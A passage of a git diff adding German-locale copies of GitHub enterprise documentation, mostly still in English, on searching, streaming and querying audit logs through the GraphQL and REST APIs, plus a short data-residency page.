+`Repository management` | All actions for repository management.<br/>- When a repository was created or deleted<br/>- When the repository visibility was changed<br/>- When a team was added or removed from a repository{% ifversion ghec %}
+`Billing updates` | All actions concerning how your enterprise pays for {% data variables.product.prodname_dotcom %} and for when your billing email address was changed.{% endif %}
+`Hook activity` | All actions for webhooks and pre-receive hooks.
+`Security management` | All actions concerning SSH keys, deploy keys, security keys, 2FA, and SAML single sign-on credential authorization, and vulnerability alerts for repositories.
+
+## Search query syntax
+
+You can compose a search query from one or more `key:value` pairs, separated by AND/OR logical operators. For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017:
+
+  `repo:"octocat/Spoon-Knife" AND created:>=2017-01-01`
+
+The `key:value` pairs that can be used in a search query are:
+
+Key            | Value
+--------------:| --------------------------------------------------------
+`actor_id`     | ID of the user account that initiated the action
+`actor`        | Name of the user account that initiated the action
+`oauth_app_id` | ID of the OAuth application associated with the action
+`action`       | Name of the audited action
+`user_id`      | ID of the user affected by the action
+`user`         | Name of the user affected by the action
+`repo_id`      | ID of the repository affected by the action (if applicable)
+`repo`         | Name of the repository affected by the action (if applicable)
+`actor_ip`     | IP address from which the action was initiated
+`created`      | Time at which the action occurred{% ifversion ghes %}. If querying the audit log from the site admin dashboard, use `created_at` instead{% endif %}
+`from`         | View from which the action was initiated
+`note`         | Miscellaneous event-specific information (in either plain text or JSON format)
+`org`          | Name of the organization affected by the action (if applicable)
+`org_id`       | ID of the organization affected by the action (if applicable)
+`business` | Name of the enterprise affected by the action (if applicable)
+`business_id` | ID of the enterprise affected by the action (if applicable)
+{%- ifversion token-audit-log %}
+`hashed_token` | The token used to authenticate for the action (if applicable, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)")
+{%- endif %}
+
+To see actions grouped by category, you can also use the action qualifier as a `key:value` pair. For more information, see "[Search based on the action performed](#search-based-on-the-action-performed)."
+
+For a full list of actions in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)."
+
+## Searching the audit log
+
+{% data reusables.audit_log.audit-log-search-by-operation %}
+
+{% data reusables.audit_log.audit-log-search-by-repo %}
+
+{% data reusables.audit_log.audit-log-search-by-user %}
+
+### Search based on the action performed
+
+To search for specific events, use the `action` qualifier in your query. For example:
+
+  * `action:team` finds all events grouped within the team category.
+  * `-action:hook` excludes all events in the webhook category.
+
+Each category has a set of associated actions that you can filter on. For example:
+
+  * `action:team.create` finds all events where a team was created.
+  * `-action:hook.events_changed` excludes all events where the events on a webhook have been altered.
+
+Actions that can be found in your enterprise audit log are grouped within the following categories:
+
+{% data reusables.audit_log.audit-log-action-categories %}
+### Search based on time of action
+
+Use the `created` qualifier to filter events in the audit log based on when they occurred.
+
+{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+
+{% data reusables.search.date_gt_lt %}
+
+For example:
+
+  * `created:2014-07-08` finds all events that occurred on July 8th, 2014.
+  * `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014.
+  * `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014.
+  * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014.
+
+### Search based on location
+
+Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or full name. Countries with spaces in their name will need to be wrapped in quotation marks. For example:
+
+  * `country:de` finds all events that occurred in Germany.
+  * `country:Mexico` finds all events that occurred in Mexico.
+  * `country:"United States"` all finds events that occurred in the United States.
+
+{% ifversion token-audit-log %}
+### Search based on the token that performed the action
+
+Use the `hashed_token` qualifier to search based on the token that performed the action. Before you can search for a token, you must generate a SHA-256 hash. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md
new file mode 100644
index 0000000000..7ef4d78ae4
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md
@@ -0,0 +1,337 @@
+---
+title: Streaming the audit log for your enterprise
+intro: 'You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: audit-log-streaming
+type: tutorial
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+  - Organizations
+shortTitle: Stream audit logs
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/streaming-the-audit-logs-for-organizations-in-your-enterprise-account
+  - /admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account
+permissions: Enterprise owners can configure audit log streaming.
+---
+
+{% ifversion ghes %}
+{% note %}
+
+**Note:** Audit log streaming is currently in beta for {% data variables.product.product_name %} and is subject to change.
+
+{% endnote %}
+{% endif %}
+
+## About audit log streaming
+
+To help protect your intellectual property and maintain compliance for your organization, you can use streaming to keep copies of your audit log data and monitor:
+{% data reusables.audit_log.audited-data-list %}
+
+The benefits of streaming audit data include:
+
+* **Data exploration**. You can examine streamed events using your preferred tool for querying large quantities of data. The stream contains both audit events and Git events across the entire enterprise account.{% ifversion pause-audit-log-stream %}
+* **Data continuity**. You can pause the stream for up to seven days without losing any audit data.{% endif %}
+* **Data retention**. You can keep your exported audit logs and Git events data as long as you need to.
+
+Enterprise owners can set up{% ifversion pause-audit-log-stream %}, pause,{% endif %} or delete a stream at any time. The stream exports the audit and Git events data for all of the organizations in your enterprise.
+
+## Setting up audit log streaming
+
+You set up the audit log stream on {% data variables.product.product_name %} by following the instructions for your provider.
+
+- [Amazon S3](#setting-up-streaming-to-amazon-s3)
+- [Azure Blob Storage](#setting-up-streaming-to-azure-blob-storage)
+- [Azure Event Hubs](#setting-up-streaming-to-azure-event-hubs){% ifversion streaming-datadog %}
+- [Datadog](#setting-up-streaming-to-datadog){% endif %}
+- [Google Cloud Storage](#setting-up-streaming-to-google-cloud-storage)
+- [Splunk](#setting-up-streaming-to-splunk)
+
+### Setting up streaming to Amazon S3
+
+{% ifversion streaming-oidc-s3 %}
+You can set up streaming to S3 with access keys or, to avoid storing long-lived secrets in {% data variables.product.product_name %}, with OpenID Connect (OIDC).
+
+- [Setting up streaming to S3 with access keys](#setting-up-streaming-to-s3-with-access-keys)
+- [Setting up streaming to S3 with OpenID Connect](#setting-up-streaming-to-s3-with-openid-connect)
+- [Disabling streaming to S3 with OpenID Connect](#disabling-streaming-to-s3-with-openid-connect)
+
+#### Setting up streaming to S3 with access keys
+{% endif %}
+
+To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the AWS documentation. Make sure to block public access to the bucket to protect your audit log information. 
+
+To set up audit log streaming from {% data variables.product.prodname_dotcom %} you will need:
+* The name of your Amazon S3 bucket
+* Your AWS access key ID
+* Your AWS secret key
+
+For information on creating or accessing your access key ID and secret key, see [Understanding and getting your AWS credentials](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) in the AWS documentation.
+
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+{% data reusables.audit_log.streaming-choose-s3 %}{% ifversion streaming-oidc-s3 %}
+1. Under "Authentication", click **Access keys**.
+
+   ![Screenshot of the authentication options for streaming to Amazon S3](/assets/images/help/enterprises/audit-log-streaming-s3-access-keys.png){% endif %}
+1. Configure the stream settings.
+
+   - Under "Bucket", type the name of the bucket you want to stream to. For example, `auditlog-streaming-test`.
+   - Under "Access Key ID", type your access key ID. For example, `ABCAIOSFODNN7EXAMPLE1`.
+   - Under "Secret Key", type your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`.
+{% data reusables.audit_log.streaming-check-s3-endpoint %}
+{% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
+
+{% ifversion streaming-oidc-s3 %}
+#### Setting up streaming to S3 with OpenID Connect
+
+1. In AWS, add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM. For more information, see [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) in the AWS documentation.
+
+   - For the provider URL, use `https://oidc-configuration.audit-log.githubusercontent.com`.
+   - For "Audience", use `sts.amazonaws.com`.
+1. Create a bucket, and block public access to the bucket. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the AWS documentation.
+1. Create a policy that allows {% data variables.product.company_short %} to write to the bucket by copying the following JSON and replacing `EXAMPLE-BUCKET` with the name of your bucket. {% data variables.product.prodname_dotcom %} requires only the permissions in this JSON.
+
+   ```
+   {
+      "Version": "2012-10-17",
+      "Statement": [
+         {
+            "Sid": "VisualEditor0",
+            "Effect": "Allow",
+            "Action": [
+               "s3:PutObject"
+            ],
+            "Resource": "arn:aws:s3:::EXAMPLE-BUCKET/*"
+        }
+      ]
+   }
+   ```
+   For more information, see [Creating IAM policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html) in the AWS documentation.
+1. Configure the role and trust policy for the {% data variables.product.prodname_dotcom %} IdP. For more information, see [Creating a role for web identity or OpenID Connect Federation (console)](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html) in the AWS documentation.
+  
+   - Add the permissions policy you created above to allow writes to the bucket.
+   - Edit the trust relationship to add the `sub` field to the validation conditions, replacing `ENTERPRISE` with the name of your enterprise.
+     ```
+     "Condition": {
+        "StringEquals": {
+           "oidc-configuration.audit-log.githubusercontent.com:aud": "sts.amazonaws.com",
+           "oidc-configuration.audit-log.githubusercontent.com:sub": "https://github.com/ENTERPRISE"
+         }
+      }
+      ```
+   - Make note of the Amazon Resource Name (ARN) of the created role.
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+{% data reusables.audit_log.streaming-choose-s3 %}
+1. Under "Authentication", click **OpenID Connect**.
+
+   ![Screenshot of the authentication options for streaming to Amazon S3](/assets/images/help/enterprises/audit-log-streaming-s3-oidc.png)
+1. Configure the stream settings.
+
+   - Under "Bucket", type the name of the bucket you want to stream to. For example, `auditlog-streaming-test`.
+   - Under "ARN Role" type the ARN role you noted earlier. For example, `arn:aws::iam::1234567890:role/github-audit-log-streaming-role`.
+{% data reusables.audit_log.streaming-check-s3-endpoint %}
+{% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
+
+#### Disabling streaming to S3 with OpenID Connect
+
+If you want to disable streaming to S3 with OIDC for any reason, such as the discovery of a security vulnerability in OIDC, delete the {% data variables.product.prodname_dotcom %} OIDC provider you created in AWS when you set up streaming. For more information, see [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) in the AWS documentation.
+
+Then, set up streaming with access keys until the vulnerability is resolved. For more information, see "[Setting up streaming to S3 with access keys](#setting-up-streaming-to-s3-with-access-keys)."
+
+{% endif %}
+
+### Setting up streaming to Azure Blob Storage
+
+Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have created a storage account and a container in Microsoft Azure. For details, see the Microsoft documentation, "[Introduction to Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)." 
+
+To configure the stream in {% data variables.product.prodname_dotcom %} you need the URL of a SAS token.
+
+**On Microsoft Azure portal**:
+1. On the Home page, click **Storage Accounts**.
+2. Click the name of the storage account you want to use, then click **Containers**.
+   
+   ![The Containers link in Azure](/assets/images/azure/azure-storage-containers.png)
+
+1. Click the name of the container you want to use.
+1. Click **Shared access tokens**. 
+   
+   ![The shared access token link in Azure](/assets/images/azure/azure-storage-shared-access-tokens.png)
+
+1. In the **Permissions** drop-down menu, change the permissions to only allow `Create` and `Write`.
+   
+   ![The permissions drop-down menu](/assets/images/azure/azure-storage-permissions.png)
+
+1. Set an expiry date that complies with your secret rotation policy.
+1. Click **Generate SAS token and URL**.
+1. Copy the value of the **Blob SAS URL** field that's displayed. You will use this URL in {% data variables.product.prodname_dotcom %}.
+
+**On {% data variables.product.prodname_dotcom %}**:
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+1. Click **Configure stream** and select **Azure Blob Storage**.
+   
+   ![Choose Azure Blob Storage from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azureblob.png)
+
+1. On the configuration page, enter the blob SAS URL that you copied in Azure. The **Container** field is auto-filled based on the URL.
+
+   ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-azureblob.png)
+  
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Azure Blob Storage endpoint.
+   
+   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+
+{% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
+
+### Setting up streaming to Azure Event Hubs
+
+Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)." 
+
+You need two pieces of information about your event hub: its instance name and the connection string. 
+
+**On Microsoft Azure portal**:
+1. Search for "Event Hubs".
+
+   ![The Azure portal search box](/assets/images/azure/azure-resources-search.png )
+
+1. Select **Event Hubs**. The names of your event hubs are listed. 
+   
+   ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png)
+
+1. Make a note of the name of the event hub you want to stream to.
+1. Click the required event hub. Then, in the left menu, select **Shared Access Policies**.
+1. Select a shared access policy in the list of policies, or create a new policy.
+   
+   ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png)
+
+1. Click the button to the right of the **Connection string-primary key** field to copy the connection string.
+   
+   ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png)
+
+**On {% data variables.product.prodname_dotcom %}**:
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+1. Click **Configure stream** and select **Azure Event Hubs**.
+   
+   ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png)
+
+1. On the configuration page, enter:
+   * The name of the Azure Event Hubs instance.
+   * The connection string.
+  
+   ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png)
+   
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Azure Events Hub endpoint.
+   
+   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+
+{% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
+
+{% ifversion streaming-datadog %}
+### Setting up streaming to Datadog
+
+To set up streaming to Datadog, you must create a client token or an  API key in Datadog, then configure audit log streaming in {% data variables.product.product_name %} using the token for authentication. You do not need to create a bucket or other storage container in Datadog.
+
+After you set up streaming to Datadog, you can see your audit log data by filtering by "github.audit.streaming." For more information, see [Log Management](https://docs.datadoghq.com/logs/).
+
+1. If you don't already have a Datadog account, create one.
+1. In Datadog, generate a client token or an API key, then click **Copy key**. For more information, see [API and Application Keys](https://docs.datadoghq.com/account_management/api-app-keys/) in Datadog Docs.
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+1. Select the **Configure stream** dropdown menu and click **Datadog**.
+   
+   ![Screenshot of the "Configure stream" dropdown menu with "Datadog" highlighted](/assets/images/help/enterprises/audit-stream-choice-datadog.png)
+1. Under "Token", paste the token  you copied earlier.
+
+   ![Screenshot of the "Token" field](/assets/images/help/enterprises/audit-stream-datadog-token.png)
+1. Select the "Site" dropdown menu and click your Datadog site. To determine your Datadog site, compare your Datadog URL to the table in [Datadog sites](https://docs.datadoghq.com/getting_started/site/) in Datadog Docs.
+
+   ![Screenshot of the "Site" dropdown menu](/assets/images/help/enterprises/audit-stream-datadog-site.png)
+1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Datadog endpoint, click **Check endpoint**.
+   
+   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+{% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
+1. After a few minutes, confirm that audit log data is appearing on the **Logs** tab in Datadog. If audit log data is not appearing, confirm that your token and site are correct in {% data variables.product.prodname_dotcom %}.
+{% endif %}
+
+### Setting up streaming to Google Cloud Storage
+
+To set up streaming to Google Cloud Storage, you must create a service account in Google Cloud with the appropriate credentials and permissions, then configure audit log streaming in {% data variables.product.product_name %} using the service account's credentials for authentication.
+
+1. Create a service account for Google Cloud. You do not need to set access controls or IAM roles for the service account. For more information, see [Creating and managing service accounts](https://cloud.google.com/iam/docs/creating-managing-service-accounts#creating) in the Google Cloud documentation.
+1. Create a JSON key for the service account, and store the key securely. For more information, see [Creating and managing service account keys](https://cloud.google.com/iam/docs/creating-managing-service-account-keys#creating) in the Google Cloud documentation.
+1. If you haven't created a bucket yet, create the bucket. For more information, see [Creating storage buckets](https://cloud.google.com/storage/docs/creating-buckets) in the Google Cloud documentation.
+1. Give the service account the Storage Object Creator role for the bucket. For more information, see [Using Cloud IAM permissions](https://cloud.google.com/storage/docs/access-control/using-iam-permissions#bucket-add) in the Google Cloud documentation.
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+1. Select the Configure stream drop-down menu and click **Google Cloud Storage**.
+
+   ![Screenshot of the "Configure stream" drop-down menu](/assets/images/help/enterprises/audit-stream-choice-google-cloud-storage.png)
+
+1. Under "Bucket", type the name of your Google Cloud Storage bucket.
+
+   ![Screenshot of the "Bucket" text field](/assets/images/help/enterprises/audit-stream-bucket-google-cloud-storage.png)
+
+1. Under "JSON Credentials", paste the entire contents of the file for your service account's JSON key.
+
+   ![Screenshot of the "JSON Credentials" text field](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png)
+
+1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**. 
+
+   ![Screenshot of the "Check endpoint" button](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png)
+
+{% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
+
+### Setting up streaming to Splunk
+
+To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must make sure that the endpoint is configured to accept HTTPS connections. For more information, see [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation.
+
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+1. Click **Configure stream** and select **Splunk**.
+   
+   ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
+
+1. On the configuration page, enter:
+   * The domain on which the application you want to stream to is hosted.
+  
+     If you are using Splunk Cloud, `Domain` should be `http-inputs-<host>`, where `host` is the domain you use in Splunk Cloud. For example: `http-inputs-mycompany.splunkcloud.com`. 
+
+   * The port on which the application accepts data.<br>
+
+     If you are using Splunk Cloud, `Port` should be `443` if you haven't changed the port configuration. If you are using the free trial version of Splunk Cloud, `Port` should be `8088`.
+
+   * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application.
+  
+   ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png)
+
+1. Leave the **Enable SSL verification** check box selected.
+
+    Audit logs are always streamed as encrypted data, however, with this option selected, {% data variables.product.prodname_dotcom %} verifies the SSL certificate of your Splunk instance when delivering events. SSL verification helps ensure that events are delivered to your URL endpoint securely. You can clear the selection of this option, but we recommend you leave SSL verification enabled.
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Splunk endpoint.
+   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png)
+{% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
+
+{% ifversion pause-audit-log-stream %}
+## Pausing audit log streaming
+
+Pausing the stream allows you to perform maintenance on the receiving application without losing audit data. Audit logs are stored for up to seven days on {% data variables.location.product_location %} and are then exported when you unpause the stream.
+
+{% ifversion streaming-datadog %}
+Datadog only accepts logs from up to 18 hours in the past. If you pause a stream to a Datadog endpoint for more than 18 hours, you risk losing logs that Datadog won't accept after you resume streaming.
+{% endif %}
+
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+1. Click **Pause stream**.
+   
+   ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png)
+
+1. A confirmation message is displayed. Click **Pause stream** to confirm.
+
+When the application is ready to receive audit logs again, click **Resume stream** to restart streaming audit logs.
+{% endif %}
+
+## Deleting the audit log stream
+
+{% data reusables.enterprise.navigate-to-log-streaming-tab %}
+1. Click **Delete stream**.
+   
+   ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png)
+
+1. A confirmation message is displayed. Click **Delete stream** to confirm.
diff --git a/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md
new file mode 100644
index 0000000000..bf86d9d4a8
--- /dev/null
+++ b/translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md
@@ -0,0 +1,138 @@
+---
+title: Using the audit log API for your enterprise
+intro: 'You can programmatically retrieve enterprise events with the REST or GraphQL API.'
+shortTitle: Audit log API
+permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can use the audit log API.'
+miniTocMaxHeadingLevel: 3
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: tutorial
+topics:
+  - Auditing
+  - Enterprise
+  - Logging
+  - API
+---
+
+## Using the audit log API
+
+You can interact with the audit log using the GraphQL API or the REST API.{% ifversion read-audit-scope %} You can use the `read:audit_log` scope to access the audit log via the APIs.{% endif %}
+
+Timestamps and date fields in the API response are measured in [UTC epoch milliseconds](http://en.wikipedia.org/wiki/Unix_time).
+
+## Querying the audit log GraphQL API
+
+To ensure your intellectual property is secure, and you maintain compliance for your enterprise, you can use the audit log GraphQL API to keep copies of your audit log data and monitor:
+{% data reusables.audit_log.audit-log-api-info %}
+
+Note that you can't retrieve Git events using the {% ifversion not ghec %}audit log API.{% else %}GraphQL API. To retrieve Git events, use the REST API instead. For more information, see `git` category actions in "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions)", and also the "[Enterprise administration](/rest/reference/enterprise-admin#audit-log)" and "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization) audit log endpoints in the REST API documentation."{% endif %}
+
+The GraphQL response can include data for up to 90 to 120 days.
+
+### Example 1: Members added to or removed from organizations in an enterprise
+
+The query below fetches the audit logs for the `avocado-corp` enterprise and returns the first 10 organizations in the enterprise, where the only actions performed were adding or removing a member from an organization. The first 20 audit log entries for each organization are returned. 
+
+This query uses the [auditlog](/graphql/reference/objects) field from the Organization object, and the [OrgAddMemberAuditEntry](/graphql/reference/objects#orgaddmemberauditentry) and [OrgRemoveMemberAuditEntry](/graphql/reference/objects#orgremovememberauditentry) objects. The  {% data variables.product.prodname_dotcom %} account querying the enterprise audit log must be an organization owner for each organization within the enterprise.
+
+```shell
+{
+  enterprise(slug: "avocado-corp") {
+    organizations(first: 10, orderBy: {field: LOGIN, direction: DESC}) {
+      nodes {
+        name
+        auditLog(first: 20) {
+          edges {
+            node {
+              ... on OrgAddMemberAuditEntry {
+                action
+                actorLogin
+                createdAt
+              }
+              ... on OrgRemoveMemberAuditEntry {
+                action
+                actorLogin
+                createdAt
+              }
+            }
+          }
+        }
+      }
+      pageInfo {
+        hasNextPage
+        endCursor
+      }
+    }
+  }
+}
+```
+
+The GraphQL API will return at most 100 nodes per query. To retrieve additional results, you'll need to implement pagination. For more information, see "[Resource limitations](/graphql/overview/resource-limitations#node-limit)" in the GraphQL API documentation and [Pagination](https://graphql.org/learn/pagination/) in the official GraphQL documentation.
+### Example 2: Events in an organization, for a specific date and actor
+
+You can specify multiple search phrases, such as `created` and `actor`, by separating them in your query string with a space.
+
+The query below fetches all the audit logs for the `avocado-corp` enterprise that relate to the `octo-org` organization, where the actions were performed by the `octocat` user on or after the 1 Jan, 2022. The first 20 audit log entries are returned, with the newest log entry appearing first. 
+
+This query uses the [AuditEntry](/graphql/reference/interfaces#auditentry) interface. The {% data variables.product.prodname_dotcom %} account querying the enterprise audit log must be an owner of the `octo-org` organization.
+
+```shell
+{
+  enterprise(slug: "avocado-corp") {
+    organizations(first: 1, query: "octo-org") {
+      nodes {
+        name
+        auditLog(first: 20, query: "actor:octocat created:>=2022-01-01T00:00:00.000Z", orderBy: {field: CREATED_AT, direction: DESC}) {
+          edges {
+            node {
+              ... on AuditEntry {
+                action
+                actorLogin
+                createdAt
+                user {
+                  name
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+For more query examples, see the [platform-samples repository](https://github.com/github/platform-samples/blob/master/graphql/queries).
+
+## Querying the audit log REST API
+
+To ensure your intellectual property is secure, and you maintain compliance for your enterprise, you can use the audit log REST API to keep copies of your audit log data and monitor:
+{% data reusables.audit_log.audited-data-list %}
+
+{% data reusables.audit_log.retention-periods %}
+
+For more information about the audit log REST API, see "[Enterprise administration](/rest/reference/enterprise-admin#audit-log)" and "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)."
+
+### Example 1: All events in an enterprise, for a specific date, with pagination
+
+The query below searches for audit log events created on Jan 1st, 2022 in the `avocado-corp` enterprise, and return the first page with a maximum of 100 items per page using [REST API pagination](/rest/overview/resources-in-the-rest-api#pagination):
+
+```shell
+curl -H "Authorization: Bearer TOKEN" \
+--request GET \
+"https://api.github.com/enterprises/avocado-corp/audit-log?phrase=created:2022-01-01&page=1&per_page=100"
+```
+
+### Example 2: Events for pull requests in an enterprise, for a specific date and actor
+
+You can specify multiple search phrases, such as `created` and `actor`, by separating them in your formed URL with the `+` symbol or ASCII character code `%20`.
+
+The query below searches for audit log events for pull requests, where the event occurred on or after Jan 1st, 2022 in the `avocado-corp` enterprise, and the action was performed by the `octocat` user:
+
+```shell
+curl -H "Authorization: Bearer TOKEN" \
+--request GET \
+"https://api.github.com/enterprises/avocado-corp/audit-log?phrase=action:pull_request+created:>=2022-01-01+actor:octocat"
+```
diff --git a/translations/de-DE/content/admin/overview/about-data-residency.md b/translations/de-DE/content/admin/overview/about-data-residency.md
new file mode 100644
index 0000000000..1147142dd9
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/about-data-residency.md
@@ -0,0 +1,16 @@
+---
+title: About data residency
+intro: 'You can choose the geography where {% data variables.product.product_name %} stores all customer data for your enterprise.'
+versions:
+  ghae: '*'
+type: overview
+topics:
+  - Enterprise
+  - Fundamentals
+---
+
+{% data reusables.github-ae.github-ae-enables-you %} You can choose the geography where you store all the customer data for {% data variables.location.product_location %}, and members of your enterprise can access {% data variables.product.product_name %} from anywhere in the world.
+
+When creating your enterprise, you can tell {% data variables.contact.contact_enterprise_sales %} where to store your customer data. {% data variables.product.company_short %} will not store or move any of your enterprise's data outside of the geography you choose.
+
+For more information about the available geographies, contact {% data variables.contact.contact_enterprise_sales %}.
diff --git a/translations/de-DE/content/admin/overview/about-enterprise-accounts.md b/translations/de-DE/content/admin/overview/about-enterprise-accounts.md
new file mode 100644
index 0000000000..303d599562
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/about-enterprise-accounts.md
@@ -0,0 +1,115 @@
+---
+title: Informationen zu Enterprise-Konten
+intro: 'Mithilfe von {% data variables.product.product_name %} kannst du ein Unternehmenskonto verwenden, um {% ifversion ghec %}die Zusammenarbeit zwischen deinen Organisationen zu ermöglichen und dabei{% elsif ghes or ghae %}{% endif %} Administrator*innen einen zentralen Punkt zum Anzeigen und Verwalten bereitzustellen.'
+redirect_from:
+  - /articles/about-github-business-accounts
+  - /articles/about-enterprise-accounts
+  - /enterprise/admin/installation/about-enterprise-accounts
+  - /enterprise/admin/overview/about-enterprise-accounts
+  - /github/setting-up-and-managing-your-enterprise-account/about-enterprise-accounts
+  - /github/setting-up-and-managing-your-enterprise/about-enterprise-accounts
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Accounts
+  - Enterprise
+  - Fundamentals
+ms.openlocfilehash: b0d1455fef80094f0dcdf20332605bd427d9c441
+ms.sourcegitcommit: e98b752895109965b32cb277610985da5799f8a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/01/2022
+ms.locfileid: '148127627'
+---
+## Informationen zu Unternehmenskonten auf {% ifversion ghec %}{% data variables.product.prodname_ghe_cloud %}{% else %}{% data variables.product.product_name %}{% endif %}
+
+{% ifversion ghec %}
+
